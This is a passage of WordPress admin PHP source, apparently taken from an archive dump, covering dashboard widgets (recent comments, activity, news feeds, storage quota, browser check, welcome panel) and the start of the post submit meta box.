=> '', 'spam' => '', 'trash' => '', 'delete' => '' ); $del_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "delete-comment_$comment->comment_ID" ) ); $approve_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "approve-comment_$comment->comment_ID" ) ); $approve_url = esc_url( "comment.php?action=approvecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$approve_nonce" ); $unapprove_url = esc_url( "comment.php?action=unapprovecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$approve_nonce" ); $spam_url = esc_url( "comment.php?action=spamcomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" ); $trash_url = esc_url( "comment.php?action=trashcomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" ); $delete_url = esc_url( "comment.php?action=deletecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" ); $actions['approve'] = "<a href='$approve_url' data-wp-lists='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=approved' class='vim-a' title='" . esc_attr__( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>'; $actions['unapprove'] = "<a href='$unapprove_url' data-wp-lists='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=unapproved' class='vim-u' title='" . esc_attr__( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>'; $actions['edit'] = "<a href='comment.php?action=editcomment&c={$comment->comment_ID}' title='" . esc_attr__('Edit comment') . "'>". __('Edit') . '</a>'; $actions['reply'] = '<a onclick="window.commentReply && commentReply.open(\''.$comment->comment_ID.'\',\''.$comment->comment_post_ID.'\');return false;" class="vim-r hide-if-no-js" title="'.esc_attr__('Reply to this comment').'" href="#">' . __('Reply') . '</a>'; $actions['spam'] = "<a href='$spam_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::spam=1' class='vim-s vim-destructive' title='" . esc_attr__( 'Mark this comment as spam' ) . "'>" . /* translators: mark as spam link */ _x( 'Spam', 'verb' ) . '</a>'; if ( !EMPTY_TRASH_DAYS ) $actions['delete'] = "<a href='$delete_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::trash=1' class='delete vim-d vim-destructive'>" . __('Delete Permanently') . '</a>'; else $actions['trash'] = "<a href='$trash_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::trash=1' class='delete vim-d vim-destructive' title='" . esc_attr__( 'Move this comment to the trash' ) . "'>" . _x('Trash', 'verb') . '</a>'; /** * Filter the action links displayed for each comment in the 'Recent Comments' * dashboard widget. * * @since 2.6.0 * * @param array $actions An array of comment actions. Default actions include: * 'Approve', 'Unapprove', 'Edit', 'Reply', 'Spam', * 'Delete', and 'Trash'. * @param object $comment The comment object. */ $actions = apply_filters( 'comment_row_actions', array_filter($actions), $comment ); $i = 0; foreach ( $actions as $action => $link ) { ++$i; ( ( ('approve' == $action || 'unapprove' == $action) && 2 === $i ) || 1 === $i ) ? $sep = '' : $sep = ' | '; // Reply and quickedit need a hide-if-no-js span if ( 'reply' == $action || 'quickedit' == $action ) $action .= ' hide-if-no-js'; $actions_string .= "<span class='$action'>$sep$link</span>"; } } ?> <div id="comment-<?php echo $comment->comment_ID; ?>" <?php comment_class( array( 'comment-item', wp_get_comment_status($comment->comment_ID) ) ); ?>> <?php echo get_avatar( $comment, 50, 'mystery' ); ?> <?php if ( !$comment->comment_type || 'comment' == $comment->comment_type ) : ?> <div class="dashboard-comment-wrap"> <h4 class="comment-meta"> <?php printf( /* translators: 1: comment author, 2: post link, 3: notification if the comment is pending */__( 'From %1$s on %2$s%3$s' ), '<cite class="comment-author">' . get_comment_author_link() . '</cite>', $comment_post_link.' '.$comment_link, ' <span class="approve">' . __( '[Pending]' ) . '</span>' ); ?> </h4> <?php else : switch ( $comment->comment_type ) : case 'pingback' : $type = __( 'Pingback' ); break; case 'trackback' : $type = __( 'Trackback' ); break; default : $type = ucwords( $comment->comment_type ); endswitch; $type = esc_html( $type ); ?> <div class="dashboard-comment-wrap"> <?php /* translators: %1$s is type of comment, %2$s is link to the post */ ?> <h4 class="comment-meta"><?php printf( _x( '%1$s on %2$s', 'dashboard' ), "<strong>$type</strong>", $comment_post_link." ".$comment_link ); ?></h4> <p class="comment-author"><?php comment_author_link(); ?></p> <?php endif; // comment_type ?> <blockquote><p><?php comment_excerpt(); ?></p></blockquote> <p class="row-actions"><?php echo $actions_string; ?></p> </div> </div> <?php } /** * Callback function for Activity widget. * * @since 3.8.0 */ function wp_dashboard_site_activity() { echo '<div id="activity-widget">'; $future_posts = wp_dashboard_recent_posts( array( 'max' => 5, 'status' => 'future', 'order' => 'ASC', 'title' => __( 'Publishing Soon' ), 'id' => 'future-posts', ) ); $recent_posts = wp_dashboard_recent_posts( array( 'max' => 5, 'status' => 'publish', 'order' => 'DESC', 'title' => __( 'Recently Published' ), 'id' => 'published-posts', ) ); $recent_comments = wp_dashboard_recent_comments(); if ( !$future_posts && !$recent_posts && !$recent_comments ) { echo '<div class="no-activity">'; echo '<p class="smiley"></p>'; echo '<p>' . __( 'No activity yet!' ) . '</p>'; echo '</div>'; } echo '</div>'; } /** * Generates Publishing Soon and Recently Published sections. * * @since 3.8.0 * * @param array $args { * An array of query and display arguments. * * @type int $max Number of posts to display. * @type string $status Post status. * @type string $order Designates ascending ('ASC') or descending ('DESC') order. * @type string $title Section title. * @type string $id The container id. * } * @return bool False if no posts were found. True otherwise. */ function wp_dashboard_recent_posts( $args ) { $query_args = array( 'post_type' => 'post', 'post_status' => $args['status'], 'orderby' => 'date', 'order' => $args['order'], 'posts_per_page' => intval( $args['max'] ), 'no_found_rows' => true, 'cache_results' => false, 'perm' => ( 'future' === $args['status'] ) ? 'editable' : 'readable', ); $posts = new WP_Query( $query_args ); if ( $posts->have_posts() ) { echo '<div id="' . $args['id'] . '" class="activity-block">'; echo '<h4>' . $args['title'] . '</h4>'; echo '<ul>'; $i = 0; $today = date( 'Y-m-d', current_time( 'timestamp' ) ); $tomorrow = date( 'Y-m-d', strtotime( '+1 day', current_time( 'timestamp' ) ) ); while ( $posts->have_posts() ) { $posts->the_post(); $time = get_the_time( 'U' ); if ( date( 'Y-m-d', $time ) == $today ) { $relative = __( 'Today' ); } elseif ( date( 'Y-m-d', $time ) == $tomorrow ) { $relative = __( 'Tomorrow' ); } else { /* translators: date and time format for recent posts on the dashboard, see http://php.net/date */ $relative = date_i18n( __( 'M jS' ), $time ); } if ( current_user_can( 'edit_post', get_the_ID() ) ) { /* translators: 1: relative date, 2: time, 3: post edit link, 4: post title */ $format = __( '<span>%1$s, %2$s</span> <a href="%3$s">%4$s</a>' ); printf( "<li>$format</li>", $relative, get_the_time(), get_edit_post_link(), _draft_or_post_title() ); } else { /* translators: 1: relative date, 2: time, 3: post title */ $format = __( '<span>%1$s, %2$s</span> %3$s' ); printf( "<li>$format</li>", $relative, get_the_time(), _draft_or_post_title() ); } } echo '</ul>'; echo '</div>'; } else { return false; } wp_reset_postdata(); return true; } /** * Show Comments section. * * @since 3.8.0 * * @param int $total_items Optional. Number of comments to query. Default 5. * @return bool False if no comments were found. True otherwise. */ function wp_dashboard_recent_comments( $total_items = 5 ) { global $wpdb; // Select all comment types and filter out spam later for better query performance. $comments = array(); $start = 0; $comments_query = array( 'number' => $total_items * 5, 'offset' => 0 ); if ( ! current_user_can( 'edit_posts' ) ) $comments_query['status'] = 'approve'; while ( count( $comments ) < $total_items && $possible = get_comments( $comments_query ) ) { foreach ( $possible as $comment ) { if ( ! current_user_can( 'read_post', $comment->comment_post_ID ) ) continue; $comments[] = $comment; if ( count( $comments ) == $total_items ) break 2; } $comments_query['offset'] += $comments_query['number']; $comments_query['number'] = $total_items * 10; } if ( $comments ) { echo '<div id="latest-comments" class="activity-block">'; echo '<h4>' . __( 'Comments' ) . '</h4>'; echo '<div id="the-comment-list" data-wp-lists="list:comment">'; foreach ( $comments as $comment ) _wp_dashboard_recent_comments_row( $comment ); echo '</div>'; if ( current_user_can('edit_posts') ) _get_list_table('WP_Comments_List_Table')->views(); wp_comment_reply( -1, false, 'dashboard', false ); wp_comment_trashnotice(); echo '</div>'; } else { return false; } return true; } /** * Display generic dashboard RSS widget feed. * * @since 2.5.0 * * @param string $widget_id */ function wp_dashboard_rss_output( $widget_id ) { $widgets = get_option( 'dashboard_widget_options' ); echo '<div class="rss-widget">'; wp_widget_rss_output( $widgets[ $widget_id ] ); echo "</div>"; } /** * Checks to see if all of the feed url in $check_urls are cached. * * If $check_urls is empty, look for the rss feed url found in the dashboard * widget options of $widget_id. If cached, call $callback, a function that * echoes out output for this widget. If not cache, echo a "Loading..." stub * which is later replaced by AJAX call (see top of /wp-admin/index.php) * * @since 2.5.0 * * @param string $widget_id * @param callback $callback * @param array $check_urls RSS feeds * @return bool False on failure. True on success. */ function wp_dashboard_cached_rss_widget( $widget_id, $callback, $check_urls = array() ) { $loading = '<p class="widget-loading hide-if-no-js">' . __( 'Loading…' ) . '</p><p class="hide-if-js">' . __( 'This widget requires JavaScript.' ) . '</p>'; $doing_ajax = ( defined('DOING_AJAX') && DOING_AJAX ); if ( empty($check_urls) ) { $widgets = get_option( 'dashboard_widget_options' ); if ( empty($widgets[$widget_id]['url']) && ! $doing_ajax ) { echo $loading; return false; } $check_urls = array( $widgets[$widget_id]['url'] ); } $cache_key = 'dash_' . md5( $widget_id ); if ( false !== ( $output = get_transient( $cache_key ) ) ) { echo $output; return true; } if ( ! $doing_ajax ) { echo $loading; return false; } if ( $callback && is_callable( $callback ) ) { $args = array_slice( func_get_args(), 2 ); array_unshift( $args, $widget_id ); ob_start(); call_user_func_array( $callback, $args ); set_transient( $cache_key, ob_get_flush(), 12 * HOUR_IN_SECONDS ); // Default lifetime in cache of 12 hours (same as the feeds) } return true; } /* Dashboard Widgets Controls */ // Calls widget_control callback /** * Calls widget control callback. * * @since 2.5.0 * * @param int $widget_control_id Registered Widget ID. */ function wp_dashboard_trigger_widget_control( $widget_control_id = false ) { global $wp_dashboard_control_callbacks; if ( is_scalar($widget_control_id) && $widget_control_id && isset($wp_dashboard_control_callbacks[$widget_control_id]) && is_callable($wp_dashboard_control_callbacks[$widget_control_id]) ) { call_user_func( $wp_dashboard_control_callbacks[$widget_control_id], '', array( 'id' => $widget_control_id, 'callback' => $wp_dashboard_control_callbacks[$widget_control_id] ) ); } } /** * The RSS dashboard widget control. * * Sets up $args to be used as input to wp_widget_rss_form(). Handles POST data * from RSS-type widgets. * * @since 2.5.0 * * @param string $widget_id * @param array $form_inputs */ function wp_dashboard_rss_control( $widget_id, $form_inputs = array() ) { if ( !$widget_options = get_option( 'dashboard_widget_options' ) ) $widget_options = array(); if ( !isset($widget_options[$widget_id]) ) $widget_options[$widget_id] = array(); $number = 1; // Hack to use wp_widget_rss_form() $widget_options[$widget_id]['number'] = $number; if ( 'POST' == $_SERVER['REQUEST_METHOD'] && isset($_POST['widget-rss'][$number]) ) { $_POST['widget-rss'][$number] = wp_unslash( $_POST['widget-rss'][$number] ); $widget_options[$widget_id] = wp_widget_rss_process( $_POST['widget-rss'][$number] ); $widget_options[$widget_id]['number'] = $number; // title is optional. If black, fill it if possible if ( !$widget_options[$widget_id]['title'] && isset($_POST['widget-rss'][$number]['title']) ) { $rss = fetch_feed($widget_options[$widget_id]['url']); if ( is_wp_error($rss) ) { $widget_options[$widget_id]['title'] = htmlentities(__('Unknown Feed')); } else { $widget_options[$widget_id]['title'] = htmlentities(strip_tags($rss->get_title())); $rss->__destruct(); unset($rss); } } update_option( 'dashboard_widget_options', $widget_options ); $cache_key = 'dash_' . md5( $widget_id ); delete_transient( $cache_key ); } wp_widget_rss_form( $widget_options[$widget_id], $form_inputs ); } /** * WordPress News dashboard widget. * * @since 2.7.0 */ function wp_dashboard_primary() { $feeds = array( 'news' => array( /** * Filter the primary link URL for the 'WordPress News' dashboard widget. * * @since 2.5.0 * * @param string $link The widget's primary link URL. */ 'link' => apply_filters( 'dashboard_primary_link', __( 'http://wordpress.org/news/' ) ), /** * Filter the primary feed URL for the 'WordPress News' dashboard widget. * * @since 2.3.0 * * @param string $url The widget's primary feed URL. */ 'url' => apply_filters( 'dashboard_primary_feed', __( 'http://wordpress.org/news/feed/' ) ), /** * Filter the primary link title for the 'WordPress News' dashboard widget. * * @since 2.3.0 * * @param string $title Title attribute for the widget's primary link. */ 'title' => apply_filters( 'dashboard_primary_title', __( 'WordPress Blog' ) ), 'items' => 1, 'show_summary' => 1, 'show_author' => 0, 'show_date' => 1, ), 'planet' => array( /** * Filter the secondary link URL for the 'WordPress News' dashboard widget. * * @since 2.3.0 * * @param string $link The widget's secondary link URL. */ 'link' => apply_filters( 'dashboard_secondary_link', __( 'http://planet.wordpress.org/' ) ), /** * Filter the secondary feed URL for the 'WordPress News' dashboard widget. * * @since 2.3.0 * * @param string $url The widget's secondary feed URL. */ 'url' => apply_filters( 'dashboard_secondary_feed', __( 'http://planet.wordpress.org/feed/' ) ), /** * Filter the secondary link title for the 'WordPress News' dashboard widget. * * @since 2.3.0 * * @param string $title Title attribute for the widget's secondary link. */ 'title' => apply_filters( 'dashboard_secondary_title', __( 'Other WordPress News' ) ), 'items' => 3, 'show_summary' => 0, 'show_author' => 0, 'show_date' => 0, ) ); if ( ( ! is_multisite() && is_blog_admin() && current_user_can( 'install_plugins' ) ) || ( is_network_admin() && current_user_can( 'manage_network_plugins' ) && current_user_can( 'install_plugins' ) ) ) { $feeds['plugins'] = array( 'link' => '', 'url' => array( 'popular' => 'http://wordpress.org/plugins/rss/browse/popular/', ), 'title' => '', 'items' => 1, 'show_summary' => 0, 'show_author' => 0, 'show_date' => 0, ); } wp_dashboard_cached_rss_widget( 'dashboard_primary', 'wp_dashboard_primary_output', $feeds ); } /** * Display the WordPress news feeds. * * @since 3.8.0 * * @param string $widget_id Widget ID. * @param array $feeds Array of RSS feeds. */ function wp_dashboard_primary_output( $widget_id, $feeds ) { foreach( $feeds as $type => $args ) { $args['type'] = $type; echo '<div class="rss-widget">'; if ( $type === 'plugins' ) { wp_dashboard_plugins_output( $args['url'], $args ); } else { wp_widget_rss_output( $args['url'], $args ); } echo "</div>"; } } /** * Display plugins text for the WordPress news widget. * * @since 2.5.0 */ function wp_dashboard_plugins_output( $rss, $args = array() ) { // Plugin feeds plus link to install them $popular = fetch_feed( $args['url']['popular'] ); if ( false === $plugin_slugs = get_transient( 'plugin_slugs' ) ) { $plugin_slugs = array_keys( get_plugins() ); set_transient( 'plugin_slugs', $plugin_slugs, DAY_IN_SECONDS ); } echo '<ul>'; foreach ( array( 'popular' => __( 'Popular Plugin' ) ) as $feed => $label ) { if ( is_wp_error($$feed) || !$$feed->get_item_quantity() ) continue; $items = $$feed->get_items(0, 5); // Pick a random, non-installed plugin while ( true ) { // Abort this foreach loop iteration if there's no plugins left of this type if ( 0 == count($items) ) continue 2; $item_key = array_rand($items); $item = $items[$item_key]; list($link, $frag) = explode( '#', $item->get_link() ); $link = esc_url($link); if ( preg_match( '|/([^/]+?)/?$|', $link, $matches ) ) $slug = $matches[1]; else { unset( $items[$item_key] ); continue; } // Is this random plugin's slug already installed? If so, try again. reset( $plugin_slugs ); foreach ( $plugin_slugs as $plugin_slug ) { if ( $slug == substr( $plugin_slug, 0, strlen( $slug ) ) ) { unset( $items[$item_key] ); continue 2; } } // If we get to this point, then the random plugin isn't installed and we can stop the while(). break; } // Eliminate some common badly formed plugin descriptions while ( ( null !== $item_key = array_rand($items) ) && false !== strpos( $items[$item_key]->get_description(), 'Plugin Name:' ) ) unset($items[$item_key]); if ( !isset($items[$item_key]) ) continue; $title = esc_html( $item->get_title() ); $description = esc_html( strip_tags( @html_entity_decode( $item->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) ) ) ); $ilink = wp_nonce_url('plugin-install.php?tab=plugin-information&plugin=' . $slug, 'install-plugin_' . $slug) . '&TB_iframe=true&width=600&height=800'; echo "<li class='dashboard-news-plugin'><span>$label:</span> <a href='$link' class='dashboard-news-plugin-link'>$title</a> <span>(<a href='$ilink' class='thickbox' title='$title'>" . __( 'Install' ) . "</a>)</span></li>"; $$feed->__destruct(); unset( $$feed ); } echo '</ul>'; } /** * Display file upload quota on dashboard. * * Runs on the activity_box_end hook in wp_dashboard_right_now(). * * @since 3.0.0 * * @return bool True if not multisite, user can't upload files, or the space check option is disabled. */ function wp_dashboard_quota() { if ( !is_multisite() || !current_user_can( 'upload_files' ) || get_site_option( 'upload_space_check_disabled' ) ) return true; $quota = get_space_allowed(); $used = get_space_used(); if ( $used > $quota ) $percentused = '100'; else $percentused = ( $used / $quota ) * 100; $used_class = ( $percentused >= 70 ) ? ' warning' : ''; $used = round( $used, 2 ); $percentused = number_format( $percentused ); ?> <h4 class="mu-storage"><?php _e( 'Storage Space' ); ?></h4> <div class="mu-storage"> <ul> <li class="storage-count"> <?php $text = sprintf( /* translators: number of megabytes */ __( '%s MB Space Allowed' ), number_format_i18n( $quota ) ); printf( '<a href="%1$s" title="%2$s">%3$s</a>', esc_url( admin_url( 'upload.php' ) ), __( 'Manage Uploads' ), $text ); ?> </li><li class="storage-count <?php echo $used_class; ?>"> <?php $text = sprintf( /* translators: 1: number of megabytes, 2: percentage */ __( '%1$s MB (%2$s%%) Space Used' ), number_format_i18n( $used, 2 ), $percentused ); printf( '<a href="%1$s" title="%2$s" class="musublink">%3$s</a>', esc_url( admin_url( 'upload.php' ) ), __( 'Manage Uploads' ), $text ); ?> </li> </ul> </div> <?php } add_action( 'activity_box_end', 'wp_dashboard_quota' ); // Display Browser Nag Meta Box function wp_dashboard_browser_nag() { $notice = ''; $response = wp_check_browser_version(); if ( $response ) { if ( $response['insecure'] ) { $msg = sprintf( __( "It looks like you're using an insecure version of <a href='%s'>%s</a>. Using an outdated browser makes your computer unsafe. For the best WordPress experience, please update your browser." ), esc_attr( $response['update_url'] ), esc_html( $response['name'] ) ); } else { $msg = sprintf( __( "It looks like you're using an old version of <a href='%s'>%s</a>. For the best WordPress experience, please update your browser." ), esc_attr( $response['update_url'] ), esc_html( $response['name'] ) ); } $browser_nag_class = ''; if ( !empty( $response['img_src'] ) ) { $img_src = ( is_ssl() && ! empty( $response['img_src_ssl'] ) )? $response['img_src_ssl'] : $response['img_src']; $notice .= '<div class="alignright browser-icon"><a href="' . esc_attr($response['update_url']) . '"><img src="' . esc_attr( $img_src ) . '" alt="" /></a></div>'; $browser_nag_class = ' has-browser-icon'; } $notice .= "<p class='browser-update-nag{$browser_nag_class}'>{$msg}</p>"; $browsehappy = 'http://browsehappy.com/'; $locale = get_locale(); if ( 'en_US' !== $locale ) $browsehappy = add_query_arg( 'locale', $locale, $browsehappy ); $notice .= '<p>' . sprintf( __( '<a href="%1$s" class="update-browser-link">Update %2$s</a> or learn how to <a href="%3$s" class="browse-happy-link">browse happy</a>' ), esc_attr( $response['update_url'] ), esc_html( $response['name'] ), esc_url( $browsehappy ) ) . '</p>'; $notice .= '<p class="hide-if-no-js"><a href="" class="dismiss">' . __( 'Dismiss' ) . '</a></p>'; $notice .= '<div class="clear"></div>'; } /** * Filter the notice output for the 'Browse Happy' nag meta box. * * @since 3.2.0 * * @param string $notice The notice content. * @param array $response An array containing web browser information. */ echo apply_filters( 'browse-happy-notice', $notice, $response ); } function dashboard_browser_nag_class( $classes ) { $response = wp_check_browser_version(); if ( $response && $response['insecure'] ) $classes[] = 'browser-insecure'; return $classes; } /** * Check if the user needs a browser update * * @since 3.2.0 * * @return array|bool False on failure, array of browser data on success. */ function wp_check_browser_version() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) return false; $key = md5( $_SERVER['HTTP_USER_AGENT'] ); if ( false === ($response = get_site_transient('browser_' . $key) ) ) { global $wp_version; $options = array( 'body' => array( 'useragent' => $_SERVER['HTTP_USER_AGENT'] ), 'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url() ); $response = wp_remote_post( 'http://api.wordpress.org/core/browse-happy/1.1/', $options ); if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) ) return false; /** * Response should be an array with: * 'name' - string - A user friendly browser name * 'version' - string - The most recent version of the browser * 'current_version' - string - The version of the browser the user is using * 'upgrade' - boolean - Whether the browser needs an upgrade * 'insecure' - boolean - Whether the browser is deemed insecure * 'upgrade_url' - string - The url to visit to upgrade * 'img_src' - string - An image representing the browser * 'img_src_ssl' - string - An image (over SSL) representing the browser */ $response = json_decode( wp_remote_retrieve_body( $response ), true ); if ( ! is_array( $response ) ) return false; set_site_transient( 'browser_' . $key, $response, WEEK_IN_SECONDS ); } return $response; } /** * Empty function usable by plugins to output empty dashboard widget (to be populated later by JS). */ function wp_dashboard_empty() {} /** * Displays a welcome panel to introduce users to WordPress. * * @since 3.3.0 */ function wp_welcome_panel() { ?> <div class="welcome-panel-content"> <h3><?php _e( 'Welcome to WordPress!' ); ?></h3> <p class="about-description"><?php _e( 'We’ve assembled some links to get you started:' ); ?></p> <div class="welcome-panel-column-container"> <div class="welcome-panel-column"> <h4><?php _e( 'Get Started' ); ?></h4> <a class="button button-primary button-hero load-customize hide-if-no-customize" href="<?php echo wp_customize_url(); ?>"><?php _e( 'Customize Your Site' ); ?></a> <a class="button button-primary button-hero hide-if-customize" href="<?php echo admin_url( 'themes.php' ); ?>"><?php _e( 'Customize Your Site' ); ?></a> <?php if ( current_user_can( 'install_themes' ) || ( current_user_can( 'switch_themes' ) && count( wp_get_themes( array( 'allowed' => true ) ) ) > 1 ) ) : ?> <p class="hide-if-no-customize"><?php printf( __( 'or, <a href="%s">change your theme completely</a>' ), admin_url( 'themes.php' ) ); ?></p> <?php endif; ?> </div> <div class="welcome-panel-column"> <h4><?php _e( 'Next Steps' ); ?></h4> <ul> <?php if ( 'page' == get_option( 'show_on_front' ) && ! get_option( 'page_for_posts' ) ) : ?> <li><?php printf( '<a href="%s" class="welcome-icon welcome-edit-page">' . __( 'Edit your front page' ) . '</a>', get_edit_post_link( get_option( 'page_on_front' ) ) ); ?></li> <li><?php printf( '<a href="%s" class="welcome-icon welcome-add-page">' . __( 'Add additional pages' ) . '</a>', admin_url( 'post-new.php?post_type=page' ) ); ?></li> <?php elseif ( 'page' == get_option( 'show_on_front' ) ) : ?> <li><?php printf( '<a href="%s" class="welcome-icon welcome-edit-page">' . __( 'Edit your front page' ) . '</a>', get_edit_post_link( get_option( 'page_on_front' ) ) ); ?></li> <li><?php printf( '<a href="%s" class="welcome-icon welcome-add-page">' . __( 'Add additional pages' ) . '</a>', admin_url( 'post-new.php?post_type=page' ) ); ?></li> <li><?php printf( '<a href="%s" class="welcome-icon welcome-write-blog">' . __( 'Add a blog post' ) . '</a>', admin_url( 'post-new.php' ) ); ?></li> <?php else : ?> <li><?php printf( '<a href="%s" class="welcome-icon welcome-write-blog">' . __( 'Write your first blog post' ) . '</a>', admin_url( 'post-new.php' ) ); ?></li> <li><?php printf( '<a href="%s" class="welcome-icon welcome-add-page">' . __( 'Add an About page' ) . '</a>', admin_url( 'post-new.php?post_type=page' ) ); ?></li> <?php endif; ?> <li><?php printf( '<a href="%s" class="welcome-icon welcome-view-site">' . __( 'View your site' ) . '</a>', home_url( '/' ) ); ?></li> </ul> </div> <div class="welcome-panel-column welcome-panel-last"> <h4><?php _e( 'More Actions' ); ?></h4> <ul> <?php if ( current_theme_supports( 'widgets' ) || current_theme_supports( 'menus' ) ) : ?> <li><div class="welcome-icon welcome-widgets-menus"><?php if ( current_theme_supports( 'widgets' ) && current_theme_supports( 'menus' ) ) { printf( __( 'Manage <a href="%1$s">widgets</a> or <a href="%2$s">menus</a>' ), admin_url( 'widgets.php' ), admin_url( 'nav-menus.php' ) ); } elseif ( current_theme_supports( 'widgets' ) ) { echo '<a href="' . admin_url( 'widgets.php' ) . '">' . __( 'Manage widgets' ) . '</a>'; } else { echo '<a href="' . admin_url( 'nav-menus.php' ) . '">' . __( 'Manage menus' ) . '</a>'; } ?></div></li> <?php endif; ?> <?php if ( current_user_can( 'manage_options' ) ) : ?> <li><?php printf( '<a href="%s" class="welcome-icon welcome-comments">' . __( 'Turn comments on or off' ) . '</a>', admin_url( 'options-discussion.php' ) ); ?></li> <?php endif; ?> <li><?php printf( '<a href="%s" class="welcome-icon welcome-learn-more">' . __( 'Learn more about getting started' ) . '</a>', __( 'http://codex.wordpress.org/First_Steps_With_WordPress' ) ); ?></li> </ul> </div> </div> </div> <?php } meta-boxes.php000077700000130706151514577750007360 0ustar00<?php // -- Post related Meta Boxes /** * Display post submit form fields. * * @since 2.7.0 * * @param object $post */ function post_submit_meta_box($post, $args = array() ) { global $action; $post_type = $post->post_type; $post_type_object = get_post_type_object($post_type); $can_publish = current_user_can($post_type_object->cap->publish_posts); ?> <div class="submitbox" id="submitpost"> <div id="minor-publishing"> <?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key ?> <div style="display:none;"> <?php submit_button( __( 'Save' ), 'button', 'save' ); ?> </div> <div id="minor-publishing-actions"> <div id="save-action"> <?php if ( 'publish' != $post->post_status && 'future' != $post->post_status && 'pending' != $post->post_status ) { ?> <input <?php if ( 'private' == $post->post_status ) { ?>style="display:none"<?php } ?> type="submit" name="save" id="save-post" value="<?php esc_attr_e('Save Draft'); ?>" class="button" /> <?php } elseif ( 'pending' == $post->post_status && $can_publish ) { ?> <input type="submit" name="save" id="save-post" value="<?php esc_attr_e('Save as Pending'); ?>" class="button" /> <?php } ?> <span class="spinner"></span> </div> <?php if ( $post_type_object->public ) : ?> <div id="preview-action"> <?php if ( 'publish' == $post->post_status ) { $preview_link = esc_url( get_permalink( $post->ID ) ); $preview_button = __( 'Preview Changes' ); } else { $preview_link = set_url_scheme( get_permalink( $post->ID ) ); /** * Filter the URI of a post preview in the post submit box. * * @since 2.0.5 * * @param string $preview_link URI the user will be directed to for a post preview. */ $preview_link = esc_url( apply_filters( 'preview_post_link', add_query_arg( 'preview', 'true', $preview_link ) ) ); $preview_button = __( 'Preview' ); } ?> <a class="preview button" href="<?php echo $preview_link; ?>" target="wp-preview-<?php echo (int) $post->ID; ?>" id="post-preview"><?php echo $preview_button; ?></a> <input type="hidden" name="wp-preview" id="wp-preview" value="" /> </div> <?php endif; // public post type ?> <div class="clear"></div> </div><!-- #minor-publishing-actions --> <div id="misc-publishing-actions"> <div class="misc-pub-section misc-pub-post-status"><label for="post_status"><?php _e('Status:') ?></label> <span id="post-status-display"> <?php switch ( $post->post_status ) { case 'private': _e('Privately Published'); break; case 'publish': _e('Published'); break; case 'future': _e('Scheduled'); break; case 'pending': _e('Pending Review'); break; case 'draft': case 'auto-draft': _e('Draft'); break; } ?> </span> <?php if ( 'publish' == $post->post_status || 'private' == $post->post_status || $can_publish ) { ?> <a href="#post_status" <?php if ( 'private' == $post->post_status ) { ?>style="display:none;" <?php } ?>class="edit-post-status hide-if-no-js"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text"><?php _e( 'Edit status' ); ?></span></a> <div id="post-status-select" class="hide-if-js"> <input type="hidden" name="hidden_post_status" id="hidden_post_status" value="<?php echo esc_attr( ('auto-draft' == $post->post_status ) ? 'draft' : $post->post_status); ?>" /> <select name='post_status' id='post_status'> <?php if ( 'publish' == $post->post_status ) : ?> <option<?php selected( $post->post_status, 'publish' ); ?> value='publish'><?php _e('Published') ?></option> <?php elseif ( 'private' == $post->post_status ) : ?> <option<?php selected( $post->post_status, 'private' ); ?> value='publish'><?php _e('Privately Published') ?></option> <?php elseif ( 'future' == $post->post_status ) : ?> <option<?php selected( $post->post_status, 'future' ); ?> value='future'><?php _e('Scheduled') ?></option> <?php endif; ?> <option<?php selected( $post->post_status, 'pending' ); ?> value='pending'><?php _e('Pending Review') ?></option> <?php if ( 'auto-draft' == $post->post_status ) : ?> <option<?php selected( $post->post_status, 'auto-draft' ); ?> value='draft'><?php _e('Draft') ?></option> <?php else : ?> <option<?php selected( $post->post_status, 'draft' ); ?> value='draft'><?php _e('Draft') ?></option> <?php endif; ?> </select> <a href="#post_status" class="save-post-status hide-if-no-js button"><?php _e('OK'); ?></a> <a href="#post_status" class="cancel-post-status hide-if-no-js button-cancel"><?php _e('Cancel'); ?></a> </div> <?php } ?> </div><!-- .misc-pub-section --> <div class="misc-pub-section misc-pub-visibility" id="visibility"> <?php _e('Visibility:'); ?> <span id="post-visibility-display"><?php if ( 'private' == $post->post_status ) { $post->post_password = ''; $visibility = 'private'; $visibility_trans = __('Private'); } elseif ( !empty( $post->post_password ) ) { $visibility = 'password'; $visibility_trans = __('Password protected'); } elseif ( $post_type == 'post' && is_sticky( $post->ID ) ) { $visibility = 'public'; $visibility_trans = __('Public, Sticky'); } else { $visibility = 'public'; $visibility_trans = __('Public'); } echo esc_html( $visibility_trans ); ?></span> <?php if ( $can_publish ) { ?> <a href="#visibility" class="edit-visibility hide-if-no-js"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text"><?php _e( 'Edit visibility' ); ?></span></a> <div id="post-visibility-select" class="hide-if-js"> <input type="hidden" name="hidden_post_password" id="hidden-post-password" value="<?php echo esc_attr($post->post_password); ?>" /> <?php if ($post_type == 'post'): ?> <input type="checkbox" style="display:none" name="hidden_post_sticky" id="hidden-post-sticky" value="sticky" <?php checked(is_sticky($post->ID)); ?> /> <?php endif; ?> <input type="hidden" name="hidden_post_visibility" id="hidden-post-visibility" value="<?php echo esc_attr( $visibility ); ?>" /> <input type="radio" name="visibility" id="visibility-radio-public" value="public" <?php checked( $visibility, 'public' ); ?> /> <label for="visibility-radio-public" class="selectit"><?php _e('Public'); ?></label><br /> <?php if ( $post_type == 'post' && current_user_can( 'edit_others_posts' ) ) : ?> <span id="sticky-span"><input id="sticky" name="sticky" type="checkbox" value="sticky" <?php checked( is_sticky( 